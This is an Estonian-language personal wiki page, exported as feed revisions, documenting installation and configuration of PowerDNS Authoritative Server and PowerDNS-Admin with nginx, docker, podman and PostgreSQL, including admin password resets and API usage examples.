    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Tsooni migreerimine pädeva pdns peale===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* SOA-EDIT - &lt;br /&gt;
&lt;br /&gt;
====Protseduur====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Käsundamine====&lt;br /&gt;
&lt;br /&gt;
Tekitatakse migreeritava tsooni sekundaar&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-secondary-zone moraal.ee 192.168.1.148&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4238</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4238"/>
		<updated>2026-06-16T21:08:40Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Sissejuhatus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* DNSSEC puhul on PowerDNS tarkvarale iseloomulik, et kõik DNSSEC moodustatakse käigult, st midagi ei ole salvestatud (well, midagi puhverdatakse, aga rrsig moodi kirjeid jms ei hoita nö tsoonifaili kujul)&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
